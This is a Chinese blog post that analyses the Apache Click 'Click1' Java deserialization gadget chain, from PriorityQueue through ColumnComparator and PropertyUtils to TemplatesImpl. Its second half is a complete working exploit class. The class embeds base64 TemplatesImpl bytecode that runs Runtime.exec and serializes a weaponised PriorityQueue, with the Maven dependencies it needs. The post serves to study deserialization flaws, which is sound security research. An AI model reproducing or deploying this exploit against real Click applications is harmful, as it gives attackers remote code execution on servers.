JAVA反序列化之Click1

Click简介

Click是一个apache的一个JEE Web 框架,官网为:https://click.apache.org/

分析

先看一下利用链

java.util.PriorityQueue.readObject()
      java.util.PriorityQueue.heapify()
        java.util.PriorityQueue.siftDown()
          java.util.PriorityQueue.siftDownUsingComparator()
            org.apache.click.control.Column$ColumnComparator.compare()
              org.apache.click.control.Column.getProperty()
                org.apache.click.control.Column.getProperty()
                  org.apache.click.util.PropertyUtils.getValue()
                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
                      java.lang.reflect.Method.invoke()
                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
                        ...

起点又是PriorityQueue,通过其readObject调用到org.apache.click.control.Column$ColumnComparator.compare

image-20220404220126426

可以看到调用了column属性的getProperty方法,按照利用链可知这里的column属性应为org.apache.click.control.Column,继续跟进

image-20220404220311217

获取了name属性的值,并将其和row作为参数传入getProperty,跟进

image-20220404220604549

利用链的下一节点是org.apache.click.util.PropertyUtils.getValue,从代码中可以看到,当row不是Map类型的对象时,就会调用到getValue方法

image-20220404220825290

先对name进行处理,然后就调用getObjectPropertyValue方法

image-20220404221017849

可以看到,调用了namesource中对应的getter,也就是row中对应的getter,那么后续利用就清楚了。

EXP构造

看一下ysoserial中的要求可知,需要的依赖除了click还有servlet-api,否则也是不能成功的

<dependency>
            <groupId>org.apache.click</groupId>
            <artifactId>click-nodeps</artifactId>
            <version>2.3.0</version>
            <scope>compile</scope>
        </dependency>

        <!-- Specifying the artifactId click-extras will include Click Extras in your project -->
        <dependency>
            <groupId>org.apache.click</groupId>
            <artifactId>click-extras</artifactId>
            <version>2.3.0</version>
            <scope>compile</scope>
        </dependency>

        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
            <scope>compile</scope>
        </dependency>

构造EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造Column
        Column column=new Column();
        column.setName("outputProperties");
        column.setTable(new Table());

        //构造Comparator
        Class columnComparatorc=Class.forName("org.apache.click.control.Column$ColumnComparator");
        Constructor constructor=columnComparatorc.getDeclaredConstructor(Column.class);
        constructor.setAccessible(true);
        Comparator columnComparator= (Comparator) constructor.newInstance(column);

        //构造PriorityQueue
        PriorityQueue priorityQueue=new PriorityQueue<>();
        priorityQueue.add("novic4");
        priorityQueue.add("novic3");

        //设置comparator
        Field comparatorf=priorityQueue.getClass().getDeclaredField("comparator");
        comparatorf.setAccessible(true);
        comparatorf.set(priorityQueue,columnComparator);

        //设置TemplatesImpl
        Field queque=priorityQueue.getClass().getDeclaredField("queue");
        queque.setAccessible(true);
        Object[] objects= (Object[]) queque.get(priorityQueue);
        objects[0]=templates;

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(priorityQueue);
        oser.close();


        System.out.println(ser);
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220405153616346

看到

column.setTable(new Table());

image-20220405153740743

设置table是为了防止执行到compare方法中的getTable时获取不到table对象而导致程序不能继续向下执行

参考文章

https://su18.org/post/ysoserial-su18-5/#click1

本文链接:

http://novic4.cn/index.php/archives/21.html
1 + 3 =
快来做第一个评论的人吧~